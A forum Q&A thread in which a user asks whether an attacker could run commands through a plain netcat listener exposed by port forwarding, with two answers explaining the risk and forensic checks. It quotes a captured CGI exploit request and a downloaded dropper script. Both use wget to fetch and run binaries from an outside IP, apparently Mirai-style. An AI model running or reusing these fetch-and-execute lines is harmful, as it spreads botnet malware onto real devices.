Could someone execute commands on my netcat server/listener?

Question

TLDR

Someone has connected to my netcat server and tried to execute a command. Is it possible they have done any harm to me/my computer/my network?

Detailed story

I've been learning about networking and sockets recently. As a programming exercise I created a simple tcp client and wanted to test it with a netcat server.

Everything worked as expected - my client had connected to the server correctly.

My friend asked me to send them the client app so they can have a look. In order for the app to work for them with my local server I had to setup port forwarding on my router. I always knew it can be dangerous so I only wanted to set it up temporarily.

I started the sever with a netcat command:

nc -lvp 8080

and the next thing I notice is that someone has connected to my server but it wasn't my friend!

In my netcat output I can see this:

Connection from 1.192.147.162:60185
POST /cgi-bin/ViewLog.asp HTTP/1.1
Host: 192.168.0.14:80
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.20.0
Content-Length: 227
Content-Type: application/x-www-form-urlencoded

/bin/busybox wget http://135.148.104.21/w.sh; chmod +x w.sh; ./w.sh%

You can see the Host as 192.168.0.14, but there's no such device on my network! However I do understand the headers can be easily forged.

I have downloaded the w.sh to have a look at its contents - here they are:

wget http://135.148.104.21/bins/arm; chmod 777 arm; ./arm unidentified.arm
wget http://135.148.104.21/bins/arm5; chmod 777 arm5; ./arm5 unidentified.arm5
wget http://135.148.104.21/bins/arm6; chmod 777 arm6; ./arm6 unidentified.arm6
wget http://135.148.104.21/bins/arm7; chmod 777 arm7; ./arm7 unidentified.arm7
wget http://135.148.104.21/bins/mips; chmod 777 mips; ./mips unidentified.mips
wget http://135.148.104.21/bins/mipsel; chmod 777 mipsel; ./mipsel unidentified.mipsel
wget http://135.148.104.21/bins/x86; chmod 777 x86; ./x86 unidentified.x86
wget http://135.148.104.21/bins/i686; chmod 777 i686; ./i686 unidentified.i686
wget http://135.148.104.21/bins/i586; chmod 777 i586; ./i586 unidentified.i586
wget http://135.148.104.21/bins/arc; chmod 777 arc; ./arc unidentified.arc
wget http://135.148.104.21/bins/sh4; chmod 777 sh4; ./sh4 unidentified.sh4


rm $0 

I have downloaded one of the above files but it seems that they're binary, so I didn't know how to analayse them.

Definetely seems like the attacker from China (location of the IP) was trying to download a script, execute it and gather some info from my computer, and likely tried to connect my computer to the mirai botnet (credits to the reddit user henrique_wavy for finding this). However the question is: is it even possible with the netcat server I was running? Am I in danger here?

Of course I have disabled the port forwarding straight away...

I'm running MacOS 12.6 and the GNU netcat 0.7.1 if it matters

Answer 1

Old post, however...

No. Obvi, attempted attack. Yet based on your command, absolutely not.

This...

nc -lvp 8080

...is not connected to anything.

Assuming that is the whole story. If that is the whole server, nothing for them to access. Looks like a bot trying to probe ability to manipulate your CGI. You don't have CGI, according to what you posted. Simple netcat server. They are counting on exploiting a full-blown webserver. Not your little listener. Which is rightfully and technically-speaking, a server. But if that is the whole command,nothing for them to run. And only access is data you feed via command-line.

The only thing they can do with nc -lvp 8080 is wait for you to type something.

Literally, failed threat. Only output there is what you type after, in the window-- IF the agent accepts it.

Also, bot is looking for a Linux server. You running on Linux?

Definitely nothing happening here, except failed exploits.

Script they trying to run... /bin/busybox wget http://135.148.104.21/w.sh; chmod +x w.sh; ./w.sh%

Can only run on linux-based webserver that has busybox. But script is only presented as text. Which is all it is. It has to be executed to actually do anything other than display it's own code for you to see.

Answer 2

Is it possible? Yes. Is it probable? No, but it depends on a lot. The shorter the amount of time the process was listening, the better, and the less chance that someone or some script compromised the system.

Is the netcat listener running and listening as a privileged user or a regular user? If it's running as a regular user, that's better.

How are you logging the incoming connections? Are you only seeing standard out?

Does the system have some type of security subsystem like selinux? If so that would do a lot to restrict what system capabilities an un-trusted process would be able to use.

If it was just a script passing by, finding your listening socket bound to a port and then connecting, you "may" be ok, but you would need to have been logging all incoming packets and auditing all system calls, and watching the process list to be sure, and you would need to have confidence that the log files weren't modified or altered, better yet, you have a remote log server configured and are forwarding all log events to it.

Having a baseline cryptographic hash of all files on the file system, created beforehand, and stored somewhere other than the same hard drive, would also allow you to validate that nothing on the file system changed. You could generate all the hashes again and verify that they all match.